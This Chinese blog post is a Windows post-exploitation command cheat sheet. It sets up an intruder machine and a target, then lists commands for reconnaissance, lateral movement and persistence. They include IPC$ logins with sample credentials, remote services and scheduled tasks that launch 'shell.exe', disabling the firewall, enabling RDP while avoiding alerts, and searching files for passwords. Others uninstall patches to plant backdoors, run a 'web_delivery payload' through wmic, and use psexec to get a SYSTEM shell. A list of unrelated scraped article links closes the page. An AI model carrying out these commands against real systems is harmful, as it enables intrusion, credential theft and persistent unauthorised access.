基础命令使用[win篇]
基础命令使用 [ win篇 ]
0x01 基础命令使用:
演示环境:
| 1 2 | win2008R2cn     ip: 192.168.3.23    假设为入侵者机器 win2012R2cn     ip: 192.168.3.122   假设为目标机器 | 
| 1 2 3 4 5 6 | # whoami /all			  查当前用户在目标系统中的具体权限,这可能会成为你一上来的习惯性动作 ^_^ # query user			  查当前机器中正在线的用户,注意管理员此时在不在 # hostname			  查当前机器的机器名,知道当前机器是干啥的 # net user 			  查当前机器中所有的用户名,开始搜集准备用户名字典 # net localgroup		  查当前机器中所有的组名,了解不同组的职能,如,IT,HR,ADMIN,FILE... # net localgroup "Administrators" 查指定组中的成员列表 | 
查看本机ip配置:
| 1 2 | # ipconfig /all		查看本机ip配置,观察本机是否在域内,内网段有几个,网关在哪里 # ipconfig /displaydns	查看本地DNS缓存 | 
查看当前机器中所有的网络连接:
| 1 2 3 4 5 6 | # net start				查看本机运行的所有服务 # netstat -ano				查看本机所有的tcp,udp端口连接及其对应的pid # netstat -anob				查看本机所有的tcp,udp端口连接,pid及其对应的发起程序 # netstat -ano | findstr "ESTABLISHED"	查看当前正处于连接状态的端口及ip # netstat -ano | findstr "LISTENING"	查看当前正处于监听状态的端口及ip # netstat -ano | findstr "TIME_WAIT" | 
利用最基础的ipc连接,这里需要注意下防火墙,如果没允许文件和打印共享服务,是根本net不上去的
| 1 2 3 4 | # net use \\192.168.3.122\ipc$ /u:"" ""		先空连接探测 # net use					查看当前机器中的ipc连接有哪些 # net use \\192.168.3.122\ipc$ /del # net use \\192.168.3.122\admin$ /user:"dcadmin" "admin!@#45" 	建立真正的ipc | 
ipc建立成功后,尝试直接在本地往远程机器上拷贝文件
| 1 2 3 | 第一种方式: # net use p: \\192.168.3.122\c$		可在建立ipc后直接把对方的c盘映射过来,直接在本地进行拷贝 # net use p: /del			用完以后,务必立马删除映射 | 
| 1 2 | 第二种方式[推荐用xcopy]: # xcopy d:\sqlitedata\*.* \\192.168.3.122\c$\temp /E /Y /D  也可在建立ipc后直接远程拷贝 | 
依然是在ipc建立后,可直接在远程机器上创建,删除服务,创建服务时需要注意,常规程序需要有返回值,不然启动服务时会报1053错误
| 1 2 3 | # sc \\192.168.3.122 create shellsrv binpath= "c:\shell.exe" start= auto displayname= "shellstart" # sc \\192.168.3.122 stop shllsrv # sc \\192.168.3.122 delete shellsrv | 
| 1 2 | # net use \\192.168.3.122\admin$ /del # net use * /del	最后,删除所有ipc,如果系统中还有其它的ipc连接,也可指定只删除自己的 | 
在远程机器上快速创建删除定时任务,需要指定目标系统的账号密码 [ 03以下系统用at,想必大家都已非常熟练,这里不再多说 ]
| 1 2 3 4 5 6 7 8 9 10 | # net use \\192.168.3.122\admin$ "admin!@#45" /user:"klionsec\administrator" # net time \\192.168.3.122	查看目标机器当前时间 # net use \\192.168.3.122\admin$ /del # schtasks /create  /?		查看schtasks使用帮助 # chcp 437			如果当前机器是中文系统需要先修改下cmd字符集,默认cmd是gbk,不然后面用schtasks远程创建计划任务时会报错 # chcp 936			用完以后再把字符集改回来,如果是英文系统就不会有这种问题 # schtasks /s 192.168.3.122 /u "klionsec\administrator" /p "admin!@#45" /create /TN "shellexec" /SC DAILY /ST 11:18 /F /RL HIGHEST /SD 2017/11/13 /ED 2017/11/16 /TR "C:\shell.exe" # schtasks /s 192.168.3.122 /u "klionsec\administrator" /p "admin!@#45" /query  | findstr "shell" # schtasks /s 192.168.3.122 /u "klionsec\administrator" /p "admin!@#45" /TN "shellexec" /delete | 
初步先大致看下当前所在内网有多少存活机器 [ 单基于icmp的扫描 ]:
| 1 | # for /L %I in (1,1,254) DO @ping -n 1 192.168.3.%I | findstr "TTL=128" >> pinglog.txt | 
搜集当前内网中的dns信息:
| 1 | # for /L %I in (1,1,254) DO @nslookup 192.168.3.%I | find "Name:" >> dnslog.txt | 
操作当前机器防火墙[务必先提权]:
| 1 2 3 | # netsh advfirewall show private		查看当前机器防火墙状态 # netsh advfirewall set allprofiles state off	关闭当前机器防火墙 # netsh advfirewall set allprofiles state on	开启当前机器防火墙 | 
操作当前机器的rdp,实战中推荐直接用powershell来搞,直接用reg可能会触发防护报警:
第一种,使用原始的reg工具,适合03以下的系统
| 1 2 3 4 5 6 7 8 | 查询rdp的端口,注意把默认的十六进制转换成十进制 # reg query "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber 启用rdp: # reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f 禁用rdp: # reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 1 /f | 
第二种,利用powershell
| 1 2 3 4 5 6 7 8 | 利用powershell启用禁用rdp: C:\>powershell -exec bypass PS C:\> Set-ItemProperty -Path 'HKLM:\System\CurrentControlSet\Control\Terminal Server'-name "fDenyTSConnections" -Value 0 PS C:\> Set-ItemProperty -Path 'HKLM:\System\CurrentControlSet\Control\Terminal Server'-name "fDenyTSConnections" -Value 1 放开防火墙对rdp的限制 # netsh advfirewall firewall set rule group="remote desktop" new enable=yes # netsh advfirewall firewall set rule group="远程桌面" new enable=yes | 
查看本机的路由情况:
| 1 2 3 4 | # route print			打印本机路由信息,可以看到本机所有的网卡接口 # arp -a			查找有价值的内网arp 通信记录 # netsh int ip delete arpcache	删除当前机器的arp缓存 # tracert 8.8.8.8	 	跟踪本机出口ip | 
查看当前机器自身的配置信息:
| 1 2 3 4 5 6 7 8 9 | # systeminfo 			查看本机的详细配置信息 # systeminfo /S 192.168.3.122 /U KLIONSEC\administrator /P "admin!@#123"	查看远程指定机器的详细系统配置信息 # systeminfo>temp.txt&(for %i in (KB2271195 KB2124261 KB2160329 KB2621440  KB2707511 KB2829361 KB2864063 KB3000061 KB3045171 KB3036220 KB3077657 KB3079904 KB3134228 KB3124280 KB3199135) do @type temp.txt|@find /i  "%i"|| @echo %i Not Installed!)&del /f /q /a temp.txt # set				查看当前机器的环境变量配置,看有没有我们可以直接利用到的语言环境 # ver / winver  		查看当前机器的NT内核版本 # fsutil fsinfo drives 		列出当前机器上的所有盘符 # net share			查看当前机器开启的共享 # net share public_dir="c:\public" /grant:Everyone,Full	 设置共享 | 
在指定目录下搜集各类敏感文件:
| 1 2 3 4 5 6 7 8 9 10 11 12 13 | # dir /a /s /b d:\"*.txt" # dir /a /s /b d:\"*.xml" # dir /a /s /b d:\"*.mdb" # dir /a /s /b d:\"*.sql" # dir /a /s /b d:\"*.mdf" # dir /a /s /b d:\"*.eml" # dir /a /s /b d:\"*.pst" # dir /a /s /b d:\"*conf*" # dir /a /s /b d:\"*bak*" # dir /a /s /b d:\"*pwd*" # dir /a /s /b d:\"*pass*" # dir /a /s /b d:\"*login*" # dir /a /s /b d:\"*user*" | 
批量压缩指定文件,注意,list.txt里存放的是所有要打包文件的绝对路径:
| 1 | # makecab /f list.txt /d compressiontype=lzx /d compressionmemory=21 /d maxdisksize=1024000000 /d diskdirectorytemplate=dd* /d cabinetnametemplate=dd*.cab | 
在指定目录下搜集各种账号密码
| 1 2 3 4 5 | # findstr /si pass *.inc *.config *.ini *.txt *.asp *.aspx *.php *.jsp *.xml *.cgi *.bak  # findstr /si userpwd *.inc *.config *.ini *.txt *.asp *.aspx *.php *.jsp *.xml *.cgi *.bak  # findstr /si pwd *.inc *.config *.ini *.txt *.asp *.aspx *.php *.jsp *.xml *.cgi *.bak  # findstr /si login *.inc *.config *.ini *.txt *.asp *.aspx *.php *.jsp *.xml *.cgi *.bak  # findstr /si user *.inc *.config *.ini *.txt *.asp *.aspx *.php *.jsp *.xml *.cgi *.bak | 
查看,删除 指定文件:
| 1 2 3 | # type ad\admin_pass.bak		查看某个文件内容 # del d:\ad\*.* /a /s /q /f 		强制删除指定路径下的所有文件 # tree /F /A D:\ >> file_list.txt	导出指定路径下的文件目录结构 | 
查看当前机器的进程信息:
| 1 2 3 4 5 6 7 8 9 10 11 | # tasklist /svc		显示当前机器所有的进程所对应的服务[只限于当前用户又权限看到的进程] # tasklist /m		显示本地所有进程所调用的dll[同样只限于当前用户又权限看到的进程] # tasklist /S 192.168.3.122 /v /U administrator /P "admin!@#123"		 查看远程指定机器的进程列表 # tasklist /S 192.168.3.122 /v /U KLIONSEC\administrator /P "admin!@#123"	 域内可以直接用机器名来代替 # taskkill /im calc.exe	用指定进程名的方式结束指定进程 # taskkill /S 192.168.3.122 /pid 3440 /U KLIONSEC\administrator /P "admin!@#123" 结束远程机器上的指定进程 # wusa /uninstall /KB:2999226 /quiet /norestart 	不重启卸载指定系统补丁,方便留后门,前提是权限要够 # driverquery		查看当前机器安装的驱动列表 # restart /r /t 0	立即重启当前机器 | 
0x03 域内net及dsquery套件使用
利用常规net套件搜集域内信息
| 1 2 3 4 5 6 7 8 9 10 11 12 13 | # net user /domain 		查看当前域中的所有用户名,根据用户名总数大概判断域的规模 # net user epoadmin /domain 	查看指定用户在当前域中的详细属性信息 # net view 			正常情况下可以用该命令查看当前域中在线的机器有哪些,但这样看着确实不太直观,稍微用批处理搞一下把机器名对应的ip也显示出来,岂不更畅快 # net accounts /domain 		查看当前域的域内账户密码设置策略 # net config workstation    	看看当前的登录域 # net view /domain       	查看所有的域名称 # net view /domain:PROGRAM 	查看指定域中在线的计算机列表 # net time /domain		查看主域位置,一般都会把主域作为时间服务器 # net group /domain		查看当前域中的所有组名 # net group "domain admins" /domain 	 看看当前域中的域管都有谁 # net group "domain computers" /domain 	 看看当前域中的所有的计算机名,只要登录过该域计算机名都会被保存下来,并非当前在线机器 # net group "domain controllers" /domain 看看域控是哪几个 # nltest /domain_trusts 		 查看域内信任关系 | 
批量把net view的结果转换为ip
| 1 2 3 4 5 6 7 | @echo off setlocal ENABLEDELAYEDEXPANSION @FOR /F "usebackq eol=- skip=1 delims=\" %%j IN (`net view ^| find "命令成功完成" /v ^|find "The command completed successfully." /v`) DO ( @FOR /F "usebackq delims=" %%i IN (`@ping -n 1 -4 %%j ^| findstr "Pinging"`) DO ( @FOR /F "usebackq tokens=2 delims=[]" %%k IN (`echo %%i`) DO (echo %%k  %%j) ) ) | 
利用dsquery 工具搜集域内信息,该工具貌似只在域控机器上有,应该是在域的安装包里,你可以把对应系统的这个工具的exe和dll扣出来上传上去用
| 1 2 3 4 5 6 7 | # dsquery computer 	查看当前域内的所有机器,dsquery工具一般在域控上才有,不过你可以上传一个和目标系统版本对应的dsquery # dsquery user 		查看当前域中的所有账户名 # dsquery group 	查看当前域内的所有组名 # dsquery subnet 	查看到当前域所在的网段 # dsquery site 		查看域内所有的web站点 # dsquery server	查看当前域中的所有服务器(应该是指域控) # dsquery user domainroot -name admin* -limit 240  查询前240个以admin开头的用户名 | 
0x04 wmic套件使用[其实,上面基础工具能干的事情,wmic全部能干,且过之不及],在操作远程时,如果遇到’RPC 服务不可用’直接把机器名换成ip即可,别看这么多,我们实战用的最多的可能就是远程执行及远程开启rdp了,如,远程导hash,远程执行payload…
查询当前及远程机器的进程信息
| 1 2 3 | # wmic process list brief # wmic process list brief /every:1	每隔一秒刷新一次系统进程 # wmic /node:"192.168.3.122" /user:klionsec\administrator /password:"admin!@#123" process list brief | 
查询当前及远程机器上指定进程的详细信息
| 1 2 | # wmic process where name='calc.exe'  list brief # wmic /node:"192.168.3.122" /user:klionsec\administrator /password:"admin!@#123" process where name='calc.exe'  list brief | 
删除当前及远程机器中的指定进程
| 1 2 | # wmic process where name='calc.exe' delete # wmic /node:"192.168.3.122" /user:klionsec\administrator /password:"admin!@#123" process where name='calc.exe' delete | 
在当前机器中执行指定程序
| 1 | # wmic process call create "calc.exe" | 
通过smb在远程机器上执行指定程序,如,在本地让远程机器上线,在抓取目标系统用户的hash,等等…
| 1 | # wmic /node:192.168.3.122 /user:klionsec\administrator /password:"admin!@#123" process call create "web_delivery payload" | 
终止执行某程序
| 1 2 | # wmic process where name="calc.exe" call terminate # wmic /node:192.168.3.122 /user:klionsec\administrator /password:"admin!@#123" process where name="calc.exe" call terminate | 
开启,关闭当前机器的rdp
| 1 2 | # wmic RDTOGGLE WHERE ServerName='%COMPUTERNAME%' call SetAllowTSConnections 1	开启 # wmic RDTOGGLE WHERE ServerName='%COMPUTERNAME%' call SetAllowTSConnections 0	关闭 | 
开启,关闭远程机器的rdp
| 1 2 | # wmic /node:"192.168.3.122" /USER:"klionsec\administrator" /password:"admin!@#123" PATH win32_terminalservicesetting WHERE (__Class!="") CALL SetAllowTSConnections 1  # wmic /node:"192.168.3.122" /USER:"klionsec\administrator" /password:"admin!@#123" PATH win32_terminalservicesetting WHERE (__Class!="") CALL SetAllowTSConnections 0 | 
查询当前机器已安装的补丁
| 1 2 | # wmic qfe get description,installedOn,HotFixID,InstalledBy # wmic qfe get CSName,Description,hotfixid | 
查询当前机器自启动程序有哪些
| 1 2 | # wmic startup list full # wmic STARTUP GET Caption,Command,User | 
查询当前机器所安装的所有软件名
| 1 2 | # wmic product get name /value # wmic product get name,version | 
删除当前机器中指定名称的软件
| 1 | # wmic product where name="Google Update Helper" call uninstall /nointeractive | 
查询本机所有的盘符及剩余空间
| 1 2 | # wmic logicaldisk get description,name # wmic logicaldisk where drivetype=3 get name,freespace,systemname,filesystem,volumeserialnumber | 
查询当前机器的简要配置信息
| 1 | # wmic computersystem list brief /format:list | 
查询当前机器的操作系统位数
| 1 | # wmic cpu get DataWidth /format:list | 
查询当前机器的用户及组信息
| 1 2 | # wmic useraccount list brief /format:list # wmic group list brief /format:list | 
查询当前机器所有用户的详细信息
| 1 | # wmic useraccount list brief | 
查询当前机器所有服务的详细状态
| 1 | # wmic service list brief | 
查询指定域的域管有哪些
| 1 | # wmic /node:rootkit path win32_groupuser where (groupcomponent="win32_group.name=\"adm\",domain=\"rootkit\"") | 
查看谁登陆过指定机器,适合用来找域管进程
| 1 | # wmic /node:192.168.3.23 path win32_loggedonuser get antecedent | 
查询本机共享
| 1 | # wmic share  get name,path,status | 
0x05 使用pstools套件
| 1 2 | # psexec /accepteula \\192.168.3.122 -u klionsec\administrator -p "admin!@#123" -s -c -f "cmd.exe"	弹回一个system权限的cmdshell # psexec /accepteula \\192.168.3.23 -u klionsec\administrator -p lm:ntlm -s -c -f "cmd.exe"		适合03以下的系统 | 
Blog by klionsec
基础命令使用[win篇]的更多相关文章
- Windbg 基础命令 《第一篇》
		Windbg.exe是Windows的一个调试工具,它支持两种调试模式,即“实时调试模式(Living)”和“事后调试模式(Postmortem)”. 实时模式:被调试的程序正在运行当中,调试器可以实 ... 
- 【Python之路】第一篇--Linux基础命令
		pwd 命令 查看”当前工作目录“的完整路径 pwd -P # 显示出实际路径,而非使用连接(link)路径:pwd显示的是连接路径 . 表示当前目录 .. 表示上级目录 / 表示根目录 ls ... 
- 第二篇:shell基础命令(部分)
		目录 一.shell命令规则 二.基础命令详解(部分) ls :列出目录内容 mkdir : 创建目录 rmdir :删除目录 touch:新建文件 mv:修改文件(目录)名.移动路径 cp:复制文件 ... 
- 02-命令篇——基础命令&常用命令
		基础命令 docker 启动与停止 启动docker systemctl start docker 停止docker systemctl stop docker 重启docker systemctl ... 
- Centos 03 基础命令
		切换目录 cd ~ 切换到当前用户的家目录 cd - 切换到上一次的目录 上传与下载 支持包在Dial-up Networking Support选项里,没有装可以通过 1.yum install l ... 
- 常用DOS命令之通俗易懂篇
		目录 常用DOS命令之通俗易懂篇 Arp 命令 Assoc 关联 At 计划服务 Attrib 属性 Cd=chdir 目录 Cipher Cls 清屏 Color 颜色 Comp 比较 Compac ... 
- Linux基础命令回顾
		前言 说到linux基础命令,网上一搜一箩筐,想学也有很多教程,如果你不幸看到此篇文章,想看就认真看完,毕竟你点进来了不是嘛? 我每次写的文章都是为了分享自己的学习成果或重要知识点,希望能帮助更多的人 ... 
- CentOS常用基础命令大全
		这篇文章主要介绍了CentOS常用基础命令大全,学习centos的朋友需要掌握的知识,需要的朋友可以参考下 1.关机 (系统的关机.重启以及登出 ) 的命令shutdown -h now 关闭系统(1 ... 
- 【redis】redis基础命令学习集合
		写在前面 Redis是一个高速的内存数据库,它的应用十分广泛,可以说是服务端必学必精的东西.然而,学以致用,无用则无为.学了的东西必须反复的去用,去实践,方能有真知.这篇文章记录了我在redis学习过 ... 
随机推荐
- scrapy异步的爬虫框架简单的使用
			scrapy异步的爬虫框架 异步的爬虫框架 高性能的数据解析,持久化存储,全栈数据的爬取,中间件,分布式 框架:就是一个集成好了各种功能且具有很强通用性的一个项目模板. 环境安装: Linux: pi ... 
- Flink 中极其重要的 Time 与 Window 详细解析(深度好文,建议收藏)
			前言 Flink 是流式的.实时的 计算引擎 上面一句话就有两个概念,一个是流式,一个是实时. 流式:就是数据源源不断的流进来,也就是数据没有边界,但是我们计算的时候必须在一个有边界的范围内进行,所以 ... 
- JVM(二)类加载的时机及其过程
			类从被加载到虚拟机内存中开始,到卸载出内存为止,它的的整个生命周期包括: 加载(Loading),验证(Verification),准备(Preparation),解析(Resolution),初始化 ... 
- 时序数据库 Apache-IoTDB 源码解析之元数据索引块(六)
			上一章聊到 TsFile 索引块的详细介绍,以及一个查询所经过的步骤.详情请见: 时序数据库 Apache-IoTDB 源码解析之文件索引块(五) 打一波广告,欢迎大家访问 IoTDB 仓库,求一波 ... 
- jquery 数据查询
			jquery 数据查询 <!DOCTYPE html> <html> <head> <meta charset="UTF-8"> & ... 
- libuv工作队列
			目录 1.说明 2.API 2.1.uv_queue_work 2.2.uv_cancel 3.代码示例 1.说明 libuv 提供了一个线程池,可用于运行用户代码,libuv 中的工作队列中的任务会 ... 
- 编写Hello World ts程序
			准备工作 预装软件NodeJs和VSCode 新建文件夹ts_in_action npm命令初始化工程:npm init -y,生成package.json文件 全局安装TypeScript:npm ... 
- ASP.NET Core 5.0 MVC中的 Razor 页面 介绍
			Razor 是一个用于将基于服务器的代码嵌入到网页中的标记语法. Razor语法由 Razor 标记.c # 和 HTML 组成. 通常包含 Razor 的文件的扩展名 cshtml Razor 语法 ... 
- C段错误等调试
			本文参考 http://stackoverflow.com/questions/2179403/how-do-you-read-a-segfault-kernel-log-message和http:/ ... 
- 算法总结篇---字典树(Trie)
			目录 写在前面 具体实现 引例: 引例代码: 例题 Phone List Solution: The XOR Largest Pair Solution L语言 Solution: 写在前面 字典树是 ... 
